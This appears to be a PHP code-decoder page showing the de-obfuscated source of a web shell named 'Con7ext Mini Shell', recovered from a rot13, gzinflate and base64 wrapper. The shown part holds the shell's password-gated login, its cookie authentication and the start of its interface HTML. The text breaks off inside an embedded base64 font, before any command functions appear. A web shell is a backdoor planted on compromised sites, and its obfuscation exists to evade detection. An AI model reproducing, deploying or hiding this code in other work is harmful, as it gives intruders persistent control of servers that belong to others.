Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $st = "str_rot13"; $gz = "gzinflate"; $st2 = "str_rot13"; $bs = "base64_de..

Decoded Output download


if(get_magic_quotes_gpc()) { 	
function VEstripslashes($array) { 		
return is_array($array) ? array_map('VEstripslashes', $array) : stripslashes($array); 	} 	
$_POST = VEstripslashes($_POST); 
$_COOKIE = VEstripslashes($_COOKIE); } 


function Login() {
	die("
<html>
<head>
<title>Login Page</title>
<style type='text/css'>
html {
    margin: 20px auto;
    background:black;
    color: green;
    text-align: center;
}
pre {
    color: white;
}

input[type=password] {
	background:transparent;
	color:white;
	margin:0 10px;
	font-family:Homenaje;
	font-size:13px;
	border:2px solid white;
}

</style>
</head>
<center>
<br>
<br>
<header>
<img src='https://raw.githubusercontent.com/rintoar/con7extnewproject/master/images/eromanga.png' width='400' height='400' align='center'>
<br>
<br>
<form method='post'>
<input type='password' name='pass'>
</form>
");
}

function VEsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        Login();
}
?>
<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Con7ext Mini Shell</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  <style>
@font-face {
    font-family: 'ubuntu_monoregular';
src: url(data:application/x-font-woff;charset=utf-8;base64,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